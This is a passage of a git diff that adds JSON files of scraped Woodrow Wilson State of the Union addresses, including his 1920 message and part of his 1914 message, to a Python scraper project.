imposed, and by increasing, step by\nstep throughout the present graduation, the surtax itself, the income taxes\nas at present apportioned would yield sums sufficient to balance the books\nof the Treasury at the end of the fiscal year 1917 without anywhere making\nthe burden unreasonably or oppressively heavy. The precise reckonings are\nfully and accurately set out in the report of the Secretary of the Treasury\nwhich will be immediately laid before you.And there are many additional sources of revenue which can justly be\nresorted to without hampering the industries of the country or putting any\ntoo great charge upon individual expenditure. A tax of one cent per gallon\non gasoline and naphtha would yield, at the present estimated production,\n$10,000,000; a tax of fifty cents per horse power on automobiles and\ninternal explosion engines, $15,000,000; a stamp tax on bank cheques,\nprobably $18,000,000; a tax of twenty-five cents per ton on pig iron,\n$10,000,000; a tax of twenty-five cents per ton on fabricated iron and\nsteel, probably $10,000,000. In a country of great industries like this it\nought to be easy to distribute the burdens of taxation without making them\nanywhere bear too heavily or too exclusively upon any one set of persons or\nundertakings. What is clear is, that the industry of this generation should\npay the bills of this generation.I have spoken to you to-day, Gentlemen, upon a single theme, the thorough\npreparation of the nation to care for its own security and to make sure of\nentire freedom to play the impartial role in this hemisphere and in the\nworld which we all believe to have been providentially assigned to it. I\nhave had in my mind no thought of any immediate or particular danger\narising out of our relations with other nations. We are at peace with all\nthe nations of the world, and there is reason to hope that no question in\ncontroversy between this and other Governments will lead to any serious\nbreach of amicable relations, grave as some differences of attitude and\npolicy have been land may yet turn out to be. I am sorry to say that the\ngravest threats against our national peace and safety have been uttered\nwithin our own borders. There are citizens of the United States, I blush to\nadmit, born under other flags but welcomed under our generous\nnaturalization laws to the full freedom and opportunity of America, who\nhave poured the poison of disloyalty into the very arteries of our national\nlife; who have sought to bring the authority and good name of our\nGovernment into contempt, to destroy our industries wherever they thought\nit effective for their vindictive purposes to strike at them, and to debase\nour politics to the uses of foreign intrigue. Their number is not great as\ncompared with the whole number of those sturdy hosts by which our nation\nhas been enriched in recent generations out of virile foreign stock; but it\nis great enough to have brought deep disgrace upon us and to have made it\nnecessary that we should promptly make use of processes of law by which we\nmay be purged of their corrupt distempers. America never witnessed anything\nlike this before. It never dreamed it possible that men sworn into its own\ncitizenship, men drawn out of great free stocks such as supplied some of\nthe best and strongest elements of that little, but how heroic, nation that\nin a high day of old staked its very life to free itself from every\nentanglement that had darkened the fortunes of the older nations and set up\na new standard here, that men of such origins and such free choices of\nallegiance would ever turn in malign reaction against the Government and\npeople who had welcomed and nurtured them and seek to make this proud\ncountry once more a hotbed of European passion. A little while ago such a\nthing would have seemed incredible. Because it was incredible we made no\npreparation for it. We would have been almost ashamed to prepare for it, as\nif we were suspicious of ourselves, our own comrades and neighbors! But the\nugly and incredible thing has actually come about and we are without\nadequate federal laws to deal with it. I urge you to enact such laws at the\nearliest possible moment and feel that in doing so I am urging you to do\nnothing less than save the honor and self-respect of the nation. Such\ncreatures of passion, disloyalty, and anarchy must be crushed out. They are\nnot many, but they are infinitely malignant, and the hand of our power\nshould close over them at once. They have formed plots to destroy property,\nthey have entered into conspiracies against the neutrality of the\nGovernment, they have sought to pry into every confidential transaction of\nthe Government in order to serve interests alien to our own. It is possible\nto deal with these things very effectually. I need not suggest the terms in\nwhich they may be dealt with.I wish that it could be said that only a few men, misled by mistaken\nsentiments of allegiance to the governments under which they were born, had\nbeen guilty of disturbing the self-possession and misrepresenting the\ntemper and principles of the country during these days of terrible war,\nwhen it would seem that every man who was truly an American would\ninstinctively make it his duty and his pride to keep the scales of judgment\neven and prove himself a partisan of no nation but his own. But it cannot.\nThere are some men among us, and many resident abroad who, though born and\nbred in the United States and calling themselves Americans, have so\nforgotten themselves and their honor as citizens as to put their passionate\nsympathy with one or the other side in the great European conflict above\ntheir regard for the peace and dignity of the United States. They also\npreach and practice disloyalty. No laws, I suppose, can reach corruptions\nof the mind and heart; but I should not speak of others without also\nspeaking of these and expressing the even deeper humiliation and scorn\nwhich every self-possessed and thoughtfully patriotic American must feel\nwhen he thinks of them and of the discredit they are daily bringing upon\nus.While we speak of the preparation of the nation to make sure of her\nsecurity and her effective power we must not fall into the patent error of\nsupposing that her real strength comes from armaments and mere safeguards\nof written law. It comes, of course, from her people, their energy, their\nsuccess in their undertakings, their free opportunity to use the natural\nresources of our great home land and of the lands outside our continental\nborders which look to us for protection, for encouragement, and for\nassistance in their development; from the organization and freedom and\nvitality of our economic life. The domestic questions which engaged the\nattention of the last Congress are more vital to the nation in this its\ntime of test than at any other time. We cannot adequately make ready for\nany trial of our strength unless we wisely and promptly direct the force of\nour laws into these all-important fields of domestic action. A matter which\nit seems to me we should have very much at heart is the creation of the\nright instrumentalities by which to mobilize our economic resources in any\ntime of national necessity. I take it for granted that I do not need your\nauthority to call into systematic consultation with the directing officers\nof the army and navy men of recognized leadership and ability from among\nour citizens who are thoroughly familiar, for example, with the\ntransportation facilities of the country and therefore competent to advise\nhow they may be coordinated when the need arises, those who can suggest the\nbest way in which to bring about prompt cooperation among the manufacturers\nof the country, should it be necessary, and those who could assist to bring\nthe technical skill of the country to the aid of the Government in the\nsolution of particular problems of defense. I only hope that if I should\nfind it feasible to constitute such an advisory body the Congress would be\nwilling to vote the small sum of money that would be needed to defray the\nexpenses that would probably be necessary to give it the clerical and\nadministrative Machinery with which to do serviceable work.What is more important is, that the industries and resources of the country\nshould be available and ready for mobilization. It is the more imperatively\nnecessary, therefore, that we should promptly devise means for doing what\nwe have not yet done: that we should give intelligent federal aid and\nstimulation to industrial and vocational education, as we have long done in\nthe large field of our agricultural industry; that, at the same time that\nwe safeguard and conserve the natural resources of the country we should\nput them at the disposal of those who will use them promptly and\nintelligently, as was sought to be done in the admirable bills submitted to\nthe last Congress from its committees on the public lands, bills which I\nearnestly recommend in principle to your consideration; that we should put\ninto early operation some provision for rural credits which will add to the\nextensive borrowing facilities already afforded the farmer by the Reserve\nBank Act, adequate instrumentalities by which long credits may be obtained\non land mortgages; and that we should study more carefully than they have\nhitherto been studied the right adaptation of our economic arrangements to\nchanging conditions.Many conditions about which we I-lave repeatedly legislated are being\naltered from decade to decade, it is evident, under our very eyes, and are\nlikely to change even more rapidly and more radically in the days\nimmediately ahead of us, when peace has returned to the world and the\nnations of Europe once more take up their tasks of commerce and industry\nwith the energy of those who must bestir themselves to build anew. Just\nwhat these changes will be no one can certainly foresee or confidently\npredict. There are no calculable, because no stable, elements in the\nproblem. The most we can do is to make certain that we have the necessary\ninstrumentalities of information constantly at our service so that we may\nbe sure that we know exactly what we are dealing with when we come to act,\nif it should be necessary to act at all. We must first certainly know what\nit is that we are seeking to adapt ourselves to. I may ask the privilege of\naddressing you more at length on this important matter a little later in\nyour session.In the meantime may I make this suggestion? The transportation problem is\nan exceedingly serious and pressing one in this country. There has from\ntime to time of late been reason to fear that our railroads would not much\nlonger be able to cope with it successfully, as at present equipped and\ncoordinated I suggest that it would be wise to provide for a commission of\ninquiry to ascertain by a thorough canvass of the whole question whether\nour laws as at present framed and administered are as serviceable as they\nmight be in the solution of the problem. It is obviously a problem that\nlies at the very foundation of our efficiency as a people. Such an inquiry\nought to draw out every circumstance and opinion worth considering and we\nneed to know all sides of the matter if we mean to do anything in the field\nof federal legislation.No one, I am sure, would wish to take any backward step. The regulation of\nthe railways of the country by federal commission has had admirable results\nand has fully justified the hopes and expectations of those by whom the\npolicy of regulation was originally proposed. The question is not what\nshould we undo? It is, whether there is anything else we can do that would\nsupply us with effective means, in the very process of regulation, for\nbettering the conditions under which the railroads are operated and for\nmaking them more useful servants of the country as a whole. It seems to me\nthat it might be the part of wisdom, therefore, before further legislation\nin this field is attempted, to look at the whole problem of coordination\nand efficiency in the full light of a fresh assessment of circumstance and\nopinion, as a guide to dealing with the several parts of it.For what we are seeking now, what in my mind is the single thought of this\nmessage, is national efficiency and security. We serve a great nation. We\nshould serve it in the spirit of its peculiar genius. It is the genius of\ncommon men for self-government, industry, justice, liberty and peace. We\nshould see to it that it lacks no instrument, no facility or vigor of law,\nto make it sufficient to play its part with energy, safety, and assured\nsuccess. In this we are no partisans but heralds and prophets of a new age.", 
+    "name": "Woodrow Wilson"
+}
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+{
+    "date": "December 7, 1920", 
+    "speech": "GENTLEMEN OF THE CONGRESS:When I addressed myself to performing the duty laid upon the President by\nthe Constitution to present to you an annual report on the state of the\nUnion, I found my thought dominated by an immortal sentence of Abraham\nLincoln's--\"Let us have faith that right makes might, and in that faith let\nus dare to do our duty as we understand it\"--a sentence immortal because it\nembodies in a form of utter simplicity and purity the essential faith of\nthe nation, the faith in which it was conceived, and the faith in which it\nhas grown to glory and power. With that faith and the birth of a nation\nfounded upon it came the hope into the world that a new order would prevail\nthroughout the affairs of mankind, an order in which reason and right would\ntake precedence over covetousness and force; and I believe that I express\nthe wish and purpose of every thoughtful American when I say that this\nsentence marks for us in the plainest manner the part we should play alike\nin the arrangement of our domestic affairs and in our exercise of influence\nupon the affairs of the world.By this faith, and by this faith alone, can the world be lifted out of its\npresent confusion and despair. It was this faith which prevailed over the\nwicked force of Germany. You will remember that the beginning of the end of\nthe war came when the German people found themselves face to face with the\nconscience of the world and realized that right was everywhere arrayed\nagainst the wrong that their government was attempting to perpetrate. I\nthink, therefore, that it is true to say that this was the faith which won\nthe war. Certainly this is the faith with which our gallant men went into\nthe field and out upon the seas to make sure of victory.This is the mission upon which Democracy came into the world. Democracy is\nan assertion of the right of the individual to live and to be treated\njustly as against any attempt on the part of any combination of individuals\nto make laws which will overburden him or which will destroy his equality\namong his fellows in the matter of right or privilege; and I think we all\nrealize that the day has come when Democracy is being put upon its final\ntest. The Old World is just now suffering from a wanton rejection of the\nprinciple of democracy and a substitution of the principle of autocracy as\nasserted in the name, but without the authority and sanction, of the\nmultitude. This is the time of all others when Democracy should prove its\npurity and its spiritual power to prevail. It is surely the manifest\ndestiny of the United States to lead in the attempt to make this spirit\nprevail.There are two ways in which the United States can assist to accomplish this\ngreat object. First, by offering the example within her own borders of the\nwill and power of Democracy to make and enforce laws which are\nunquestionably just and which are equal in their administration-laws which\nsecure its full right to Labor and yet at the same time safeguard the\nintegrity of property, and particularly of that property which is devoted\nto the development of industry and the increase of the necessary wealth of\nthe world. Second, by standing for right and justice as toward individual\nnations. The law of Democracy is for the protection of the weak, and the\ninfluence of every democracy in the world should be for the protection of\nthe weak nation, the nation which is struggling toward its right and toward\nits proper recognition and privilege in the family of nations.The United States cannot refuse this role of champion without putting the\nstigma of rejection upon the great and devoted men who brought its\ngovernment into existence and established it in the face of almost\nuniversal opposition and intrigue, even in the face of wanton force, as,\nfor example, against the Orders in Council of Great Britain and the\narbitrary Napoleonic decrees which involved us in what we know as the War\nof 1812.I urge you to consider that the display of an immediate disposition on the\npart of the Congress to remedy any injustices or evils that may have shown\nthemselves in our own national life will afford the most effectual offset\nto the forces of chaos and tyranny which are playing so disastrous a part\nin the fortunes of the free peoples of more than one part of the world. The\nUnited States is of necessity the sample democracy of the world, and the\ntriumph of Democracy depends upon its success.Recovery from the disturbing and sometimes disastrous effects of the late\nwar has been exceedingly slow on the other side of the water, and has given\npromise, I venture-to say, of early completion only in our own fortunate\ncountry; but even with us the recovery halts and is impeded at times, and\nthere are immediately serviceable acts of legislation which it seems to me\nwe ought to attempt, to assist that recovery and prove the indestructible\nrecuperative force of a great government of the people. One of these is to\nprove that a great democracy can keep house as successfully and in as\nbusiness-like a fashion as any other government. It seems to me that the\nfirst step toward providing this is to supply ourselves with a systematic\nmethod of handling our estimates and expenditures and bringing them to the\npoint where they will not be an unnecessary strain upon our income or\nnecessitate unreasonable taxation; in other words, a workable budget\nsystem. And I respectfully suggest that two elements are essential to such\na system-namely, not only that the proposal of appropriations should be in\nthe hands of a single body, such as a single appropriations committee in\neach house of the Congress, but also that this body should be brought into\nsuch cooperation with the Departments of the Government and with the\nTreasury of the United States as would enable it to act upon a complete\nconspectus of the needs of the Government and the resources from which it\nmust draw its income.I reluctantly vetoed the budget bill passed by the last session of the\nCongress because of a constitutional objection. The House of\nRepresentatives subsequently modified the bill in order to meet this\nobjection. In the revised form, I believe that the bill, coupled with\naction already taken by the Congress to revise its rules and procedure,\nfurnishes the foundation for an effective national budget system. I\nearnestly hope, therefore, that one of the first steps to be taken by the\npresent session of the Congress will be to pass the budget bill.The nation's finances have shown marked improvement during the last year.\nThe total ordinary receipts of $6,694,000,000 for the fiscal year 1920\nexceeded those for 1919 by $1,542,000,000, while the total net ordinary\nexpenditures decreased from $18,514,000,000 to $6,403,000,000. The gross\npublic debt, which reached its highest point on August 31, 1919, when it\nwas $26,596,000,000, had dropped on November 30, 1920, to $24,175,000,000.There has also been a marked decrease in holdings of government war\nsecurities by the banking institutions of the country, as well as in the\namount of bills held by the Federal Reserve Banks secured by government war\nobligations. This fortunate result has relieved the banks and left them\nfreer to finance the needs of Agriculture, Industry, and Commerce. It has\nbeen due in large part to the reduction of the public debt, especially of\nthe floating debt, but more particularly to the improved distribution of\ngovernment securities among permanent investors. The cessation of the\nGovernment's borrowings, except through short-term certificates of\nindebtedness, has been a matter of great consequence to the people of the\ncountry at large, as well as to the holders of Liberty Bonds and Victory\nNotes, and has had an important bearing on the matter of effective credit\ncontrol.The year has been characterized by the progressive withdrawal of the\nTreasury from the domestic credit market and from a position of dominant\ninfluence in that market. The future course will necessarily depend upon\nthe extent to which economies are practiced and upon the burdens placed\nupon the Treasury, as well as upon industrial developments and the\nmaintenance of tax receipts at a sufficiently high level. The fundamental\nfact which at present dominates the Government's financial situation is\nthat seven and a half billions of its war indebtedness mature within the\nnext two and a half years. Of this amount, two and a half billions are\nfloating debt and five billions, Victory Notes and War. Savings\nCertificates. The fiscal program of the Government must be determined with\nreference to these maturities. Sound policy demands that Government\nexpenditures be reduced to the lowest amount which will permit the various\nservices to operate efficiently and that Government receipts from taxes and\nsalvage be maintained sufficiently high to provide for current\nrequirements, including interest and sinking fund charges on the public\ndebt, and at the same time retire the floating debt and part of the Victory\nLoan before maturity.With rigid economy, vigorous salvage operations, and adequate revenues from\ntaxation, a surplus of current receipts over current expenditures can be\nrealized and should be applied to the floating debt. All branches of the\nGovernment should cooperate to see that this program is realized. I cannot\noveremphasize the necessity of economy in Government appropriations and\nexpenditures and the avoidance by the Congress of practices which take\nmoney from the Treasury by indefinite or revolving fund appropriations. The\nestimates for the present year show that over a billion dollars of\nexpenditures were authorized by the last Congress in addition to the\namounts shown in the usual compiled statements of appropriations. This\nstrikingly illustrates the importance of making direct and specific\nappropriations. The relation between the current receipts and current\nexpenditures of the Government during the present fiscal year, as well as\nduring the last half of the last fiscal year, has been disturbed by the\nextraordinary burdens thrown upon the Treasury by the Transportation Act,\nin connection with the return of the railroads to private control. Over\n$600,000,000 has already been paid to the railroads under this\nact-$350,000,000 during the present fiscal year; and it is estimated that\nfurther payments aggregating possibly $650,000,000 must still be made to\nthe railroads during the current year. It is obvious that these large\npayments have already seriously limited the Government's progress in\nretiring the floating debt.Closely connected with this, it seems to me, is the necessity for an\nimmediate consideration of the revision of our tax laws. Simplification of\nthe income and profits taxes has become an immediate necessity. These taxes\nperformed an indispensable service during the war. The need for their\nsimplification, however, is very great, in order to save the taxpayer\ninconvenience and expense and in order to make his liability more certain\nand definite. Other and more detailed recommendations with regard to taxes\nwill no doubt be laid before you by the Secretary of the Treasury and the\nCommissioner of Internal Revenue.It is my privilege to draw to the attention of Congress for very\nsympathetic consideration the problem of providing adequate facilities for\nthe care and treatment of former members of the military and naval forces\nwho are sick and disabled as the result of their participation in the war.\nThese heroic men can never be paid in money for the service they\npatriotically rendered the nation. Their reward will lie rather in\nrealization of the fact that they vindicated the rights of their country\nand aided in safeguarding civilization. The nation's gratitude must be\neffectively revealed to them by the most ample provision for their medical\ncare and treatment as well as for their vocational training and placement.\nThe time has come when a more complete program can be formulated and more\nsatisfactorily administered for their treatment and training, and I\nearnestly urge that the Congress give the matter its early consideration.\nThe Secretary of the Treasury and the Board for Vocational Education will\noutline in their annual reports proposals covering medical care and\nrehabilitation which I am sure will engage your earnest study and commend\nyour most generous support.Permit me to emphasize once more the need for action upon certain matters\nupon which I dwelt at some length in my message to the second session of\nthe Sixty-sixth Congress. The necessity, for example, of encouraging the\nmanufacture of dyestuffs and related chemicals; the importance of doing\neverything possible to promote agricultural production along economic\nlines, to improve agricultural marketing, and to make rural life more\nattractive and healthful; the need for a law regulating cold storage in\nsuch a way as to limit the time during which goods may be kept in storage,\nprescribing the method of disposing of them if kept beyond the permitted\nperiod, and requiring goods released from storage in all cases to bear the\ndate of their receipt. It would also be most serviceable if it were\nprovided that all goods released from cold storage for interstate shipment\nshould have plainly marked upon each package the selling or market price at\nwhich they went into storage, in order that the purchaser might be able to\nlearn what profits stood between him and the producer or the wholesale\ndealer. Indeed, It would be very serviceable to the public if all goods\ndestined for interstate commerce were made to carry upon every packing case\nwhose form made it possible a plain statement of the price at which they\nleft the hands of the producer. I respectfully call your attention also to\nthe recommendations of the message referred to with regard to a federal\nlicense for all corporations engaged in interstate commerce.In brief, the immediate legislative need of the time is the removal of all\nobstacles to the realization of the best ambitions of our people in their\nseveral classes of employment and the strengthening of all\ninstrumentalities by. which difficulties are to be met and removed and\njustice dealt out, whether by law or by some form of mediation and\nconciliation. I do not feel it to be my privilege at present to, suggest\nthe detailed and particular methods by which these objects may be attained,\nbut I have faith that the inquiries of your several committees will\ndiscover the way and the method.In response to what I believe to be the impulse of sympathy and opinion\nthroughout the United States, I earnestly suggest that the Congress\nauthorize the Treasury of the United States to make to the struggling\ngovernment of Armenia such a loan as was made to several of the Allied\ngovernments during the war, and I would also suggest that it would be\ndesirable to provide in the legislation itself that the expenditure of the\nmoney thus loaned should be under the supervision of a commission, or at\nleast a commissioner, from the United States in order that revolutionary\ntendencies within Armenia itself might not be afforded by the loan a\nfurther tempting opportunity.Allow me to call your attention to the fact that the people of the\nPhilippine Islands have succeeded in maintaining a stable government since\nthe last action of the Congress in their behalf, and have thus fulfilled\nthe condition set by the Congress as precedent to a consideration of\ngranting independence to the Islands. I respectfully submit that this\ncondition precedent having been fulfilled, it is now our liberty and our\nduty to keep our promise to the people of those islands by granting them\nthe independence which they so honorably covet.I have not so much laid before you a series of recommendations, gentlemen,\nas sought to utter a confession of faith, of the faith in which I was bred\nand which it is my solemn purpose to stand by until my last fighting day. I\nbelieve this to be the faith of America, the faith of the future, and of\nall the victories which await national action in the days to come, whether\nin America or elsewhere.", 
+    "name": "Woodrow Wilson"
+}
\ No newline at end of file
diff --git a/pyscrapper/stateofunion/ScrapedData/Woodrow WilsonDecember 8, 1914.json b/pyscrapper/stateofunion/ScrapedData/Woodrow WilsonDecember 8, 1914.json
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+{
+    "date": "December 8, 1914", 
+    "speech": "GENTLEMEN OF THE CONGRESS:The session upon which you are now entering will be the closing session of\nthe Sixty-third Congress, a Congress, I venture to say, which will long be\nremembered for the great body of thoughtful and constructive work which it\nhas done, in loyal response to the thought and needs of the country. I\nshould like in this address to review the notable record and try to make\nadequate assessment of it; but no doubt we stand too near the work that has\nbeen done and are ourselves too much part of it to play the part of\nhistorians toward it.Our program of legislation with regard to the regulation of business is now\nvirtually complete. It has been put forth, as we intended, as a whole, and\nleaves no conjecture as to what is to follow. The road at last lies clear\nand firm before business. It is a road which it can travel without fear or\nembarrassment. It is the road to ungrudged, unclouded success. In it every\nhonest man, every man who believes that the public interest is part of his\nown interest, may walk with perfect confidence.Moreover, our thoughts are now more of the future than of the past. While\nwe have worked at our tasks of peace the circumstances of the whole age\nhave been altered by war. What we have done for our own land and our own\npeople we did with the best that was in us, whether of character or of\nintelligence, with sober enthusiasm and a confidence in the principles upon\nwhich we were acting which sustained us at every step of the difficult\nundertaking; but it is done. It has passed from our hands. It is now an\nestablished part of the legislation of the country. Its usefulness, its\neffects will disclose themselves in experience. What chiefly strikes us\nnow, as we look about us during these closing days of a year which will be\nforever memorable in the history of the world, is that we face new tasks,\nhave been facing them these six months, must face them in the months to\ncome,-face them without partisan feeling, like men who have forgotten\neverything but a common duty and the fact that we are representatives of a\ngreat people whose thought is not of us but of what America owes to herself\nand to all mankind in such circumstances as these upon which we look amazed\nand anxious.War has interrupted the means of trade not only but also the processes of\nproduction. In Europe it is destroying men and resources wholesale and upon\na scale unprecedented and appalling, There is reason to fear that the time\nis near, if it be not already at hand, when several of the countries of\nEurope will find it difficult to do for their people what they have\nhitherto been always easily able to do,--many essential and fundamental\nthings. At any rate, they will need our help and our manifold services as\nthey have never needed them before; and we should be ready, more fit and\nready than we have ever been.It is of equal consequence that the nations whom Europe has usually\nsupplied with innumerable articles of manufacture and commerce of which\nthey are in constant need and without which their economic development\nhalts and stands still can now get only a small part of what they formerly\nimported and eagerly look to us to supply their all but empty markets. This\nis particularly true of our own neighbors, the States, great and small, of\nCentral and South America. Their lines of trade have hitherto run chiefly\nathwart the seas, not to our ports but to the ports of Great Britain and of\nthe older continent of Europe. I do not stop to inquire why, or to make any\ncomment on probable causes. What interests us just now is not the\nexplanation but the fact, and our duty and opportunity in the presence of\nit. Here are markets which we must supply, and we must find the means of\naction. The United States, this great people for whom we speak and act,\nshould be ready, as never before, to serve itself and to serve mankind;\nready with its resources, its energies, its forces of production, and its\nmeans of distribution.It is a very practical matter, a matter of ways and means. We have the\nresources, but are we fully ready to use them? And, if we can make ready\nwhat we have, have we the means at hand to distribute it? We are not fully\nready; neither have we the means of distribution. We are willing, but we\nare not fully able. We have the wish to serve and to serve greatly,\ngenerously; but we are not prepared as we should be. We are not ready to\nmobilize our resources at once. We are not prepared to use them immediately\nand at their best, without delay and without waste.To speak plainly, we have grossly erred in the way in which we have stunted\nand hindered the development of our merchant marine. And now, when we need\nships, we have not got them. We have year after year debated, without end\nor conclusion, the best policy to pursue with regard to the use of the ores\nand forests and water powers of our national domain in the rich States of\nthe West, when we should have acted; and they are still locked up. The key\nis still turned upon them, the door shut fast at which thousands of\nvigorous men, full of initiative, knock clamorously for admittance. The\nwater power of our navigable streams outside the national domain also, even\nin the eastern States, where we have worked and planned for generations, is\nstill not used as it might be, because we will and we won't; because the\nlaws we have made do not intelligently balance encouragement against\nrestraint. We withhold by regulation.I have come to ask you to remedy and correct these mistakes and omissions,\neven at this short session of a Congress which would certainly seem to have\ndone all the work that could reasonably be expected of it. The time and the\ncircumstances are extraordinary, and so must our efforts be also.Fortunately, two great measures, finely conceived, the one to unlock, with\nproper safeguards, the resources of the national domain, the other to\nencourage the use of the navigable waters outside that domain for the\ngeneration of power, have already passed the House of Representatives and\nare ready for immediate consideration and action by the Senate. With the\ndeepest earnestness I urge their prompt passage. In them both we turn our\nbacks upon hesitation and makeshift and formulate a genuine policy of use\nand conservation, in the best sense of those words. We owe the one measure\nnot only to the people of that great western country for whose free and\nsystematic development, as it seems to me, our legislation has done so\nlittle, but also to the people of the Nation as a whole; and we as clearly\nowe the other fulfillment of our repeated promises that the water power of\nthe country should in fact as well as in name be put at the disposal of\ngreat industries which can make economical and profitable use of it, the\nrights of the public being adequately guarded the while, and monopoly in\nthe use prevented. To have begun such measures and not completed them would\nindeed mar the record of this great Congress very seriously. I hope and\nconfidently believe that they will be completed.And there is another great piece of legislation which awaits and should\nreceive the sanction of the Senate: I mean the bill which gives a larger\nmeasure of self-government to the people of the Philippines. How better, in\nthis time of anxious questioning and perplexed policy, could we show our\nconfidence in the principles of liberty, as the source as well as the\nexpression of life, how better could we demonstrate our own self-possession\nand steadfastness in the courses of justice and disinterestedness than by\nthus going calmly forward to fulfill our promises to a dependent people,\nwho will now look more anxiously than ever to see whether we have indeed\nthe liberality, the unselfishness, the courage, the faith we have boasted\nand professed. I can not believe that the Senate will let this great\nmeasure of constructive justice await the action of another Congress. Its\npassage would nobly crown the record of these two years of memorable\nlabor.But I think that you will agree with me that this does not complete the\ntoll of our duty. How are we to carry our goods to the empty markets of\nwhich I have spoken if we have not the ships? How are we to build up a\ngreat trade if we have not the certain and constant means of\ntransportation upon which all profitable and useful commerce depends? And\nhow are we to get the ships if we wait for the trade to develop without\nthem? To correct the many mistakes by which we have discouraged and all but\ndestroyed the merchant marine of the country, to retrace the steps by which\nwe have.. it seems almost deliberately, withdrawn our flag from the seas..\nexcept where, here and there, a ship of war is bidden carry it or some\nwandering yacht displays it, would take a long time and involve many\ndetailed items of legislation, and the trade which we ought immediately to\nhandle would disappear or find other channels while we debated the items.The case is not unlike that which confronted us when our own continent was\nto be opened up to settlement and industry, and we needed long lines of\nrailway, extended means of transportation prepared beforehand, if\ndevelopment was not to lag intolerably and wait interminably. We lavishly\nsubsidized the building of transcontinental railroads. We look back upon\nthat with regret now, because the subsidies led to many scandals of which\nwe are ashamed; but we know that the railroads had to be built, and if we\nhad it to do over again we should of course build them, but in another way.\nTherefore I propose another way of providing the means of transportation,\nwhich must precede, not tardily follow, the development of our trade with\nour neighbor states of America. It may seem a reversal of the natural order\nof things, but it is true, that the routes of trade must be actually\nopened-by many ships and regular sailings and moderate charges-before\nstreams of merchandise will flow freely and profitably through them.Hence the pending shipping bill, discussed at the last session but as yet\npassed by neither House. In my judgment such legislation is imperatively\nneeded and can not wisely be postponed. The Government must open these\ngates of trade, and open them wide; open them before it is altogether\nprofitable to open them, or altogether reasonable to ask private capital to\nopen them at a venture. It is not a question of the Government monopolizing\nthe field. It should take action to make it certain that transportation at\nreasonable rates will be promptly provided, even where the carriage is not\nat first profitable; and then, when the carriage has become sufficiently\nprofitable to attract and engage private capital, and engage it in\nabundance, the Government ought to withdraw. I very earnestly hope that the\nCongress will be of this opinion, and that both Houses will adopt this\nexceedingly important bill.The great subject of rural credits still remains to be dealt with, and it\nis a matter of deep regret that the difficulties of the subject have seemed\nto render it impossible to complete a bill for passage at this session. But\nit can not be perfected yet, and therefore there are no other constructive\nmeasures the necessity for which I will at this time call your attention\nto; but I would be negligent of a very manifest duty were I not to call the\nattention of the Senate to the fact that the proposed convention for safety\nat sea awaits its confirmation and that the limit fixed in the convention\nitself for its acceptance is the last day of the present month. The\nconference in which this convention originated was called by the United\nStates; the representatives of the United States played a very influential\npart indeed in framing the provisions of the proposed convention; and those\nprovisions are in themselves for the most part admirable. It would hardly\nbe consistent with the part we have played in the whole matter to let it\ndrop and go by the board as if forgotten and neglected. It was ratified in\nMay by the German Government and in August by the Parliament of Great\nBritain. It marks a most hopeful and decided advance in international\ncivilization. We should show our earnest good faith in a great matter by\nadding our own acceptance of it.There is another matter of which I must make special mention, if I am to\ndischarge my conscience, lest it should escape your attention. It may seem\na very small thing. It affects only a single item of appropriation. But\nmany human lives and many great enterprises hang upon it. It is the matter\nof making adequate provision for the survey and charting of our coasts. It\nis immediately pressing and exigent in connection with the immense coast\nline of Alaska, a coast line greater than that of the United States\nthemselves, though it is also very important indeed with regard to the\nolder coasts of the continent. We can not use our great Alaskan domain,\nships will not ply thither, if those coasts and their many hidden dangers\nare not thoroughly surveyed and charted. The work is incomplete at almost\nevery point. Ships and lives have been lost in threading what were supposed\nto be well-known main channels. We have not provided adequate vessels or\nadequate machinery for the survey and charting. We have used old vessels\nthat were not big enough or strong enough and which were so nearly\nunseaworthy that our inspectors would not have allowed private owners to\nsend them to sea. This is a matter which, as I have said, seems small, but\nis in reality very great. Its importance has only to be looked into to be\nappreciated.Before I close may I say a few words upon two topics, much discussed out of\ndoors, upon which it is highly important that our judgment should be clear,\ndefinite, and steadfast?One of these is economy in government expenditures. The duty of economy is\nnot debatable. It is manifest and imperative. In the appropriations we pass\nwe are spending the money of the great people whose servants we are,-not\nour own. We are trustees and responsible stewards in the spending. The only\nthing debatable and upon which we should be careful to make our thought and\npurpose clear is the kind of economy demanded of us. I assert with the\ngreatest confidence that the people of the United States are not jealous of\nthe amount their Government costs if they are sure that they get what they\nneed and desire for the outlay, that the money is being spent for objects\nof which they approve, and that it is being applied with good business\nsense and management.Governments grow, piecemeal, both in their tasks and in the means by which\nthose tasks are to be performed, and very few Governments are organized, I\nventure to say, as wise and experienced business men would organize them if\nthey had a clean sheet of paper to write upon. Certainly the Government of\nthe United States is not. I think that it is generally agreed that there\nshould be a systematic reorganization and reassembling of its parts so as\nto secure greater efficiency and effect considerable savings in expense.\nBut the amount of money saved in that way would, I believe, though no doubt\nconsiderable in itself, running, it may be, into the millions, be\nrelatively small,-small, I mean, in proportion to the total necessary\noutlays of the Government. It would be thoroughly worth effecting, as every\nsaving would, great or small. Our duty is not altered by the scale of the\nsaving. But my point is that the people of the United States do not wish to\ncurtail the activities of this Government; they wish, rather, to enlarge\nthem; and with every enlargement, with the mere growth, indeed, of the\ncountry itself, there must come, of course, the inevitable increase of\nexpense. The sort of economy we ought to practice may be effected, and\nought to be effected, by a careful study and assessment of the tasks to be\nperformed; and the money spent ought to be made to yield the best possible\nreturns in efficiency and achievement. And, like good stewards, we should\nso account for every dollar of our appropriations as to make it perfectly\nevident what it was spent for and in what way it was spent.It is not expenditure but extravagance that we should fear being criticized\nfor; not paying for the legitimate enterprise and undertakings of a great\nGovernment whose people command what it should do, but adding what will\nbenefit only a few or pouring money out for what need not have been\nundertaken at all or might have been postponed or better and more\neconomically conceived and carried out. The Nation is not niggardly; it is\nvery generous. It will chide us only if we forget for whom we pay money out\nand whose money it is we pay. These are large and general standards, but\nthey are not very difficult of application to particular cases.The other topic I shall take leave to mention goes deeper into the\nprinciples of our national life and policy. It is the subject of national\ndefense.It can not be discussed without first answering some very searching\nquestions. It is said in some quarters that we are not prepared for war.\nWhat is meant by being prepared? Is it meant that we are not ready upon\nbrief notice to put a nation in the field, a nation of men trained to arms?\nOf course we are not ready to do that; and we shall never be in time of\npeace so long as we retain our present political principles and\ninstitutions. And what is it that it is suggested we should be prepared to\ndo? To defend ourselves against attack? We have always found means to do\nthat, and shall find them whenever it is necessary without calling our\npeople away from their necessary tasks to render compulsory military\nservice in times of peace.Allow me to speak with great plainness and directness upon this great\nmatter and to avow my convictions with deep earnestness. I have tried to\nknow what America is, what her people think, what they are, what they most\ncherish and hold dear. I hope that some of their finer passions are in my\nown heart,--some of the 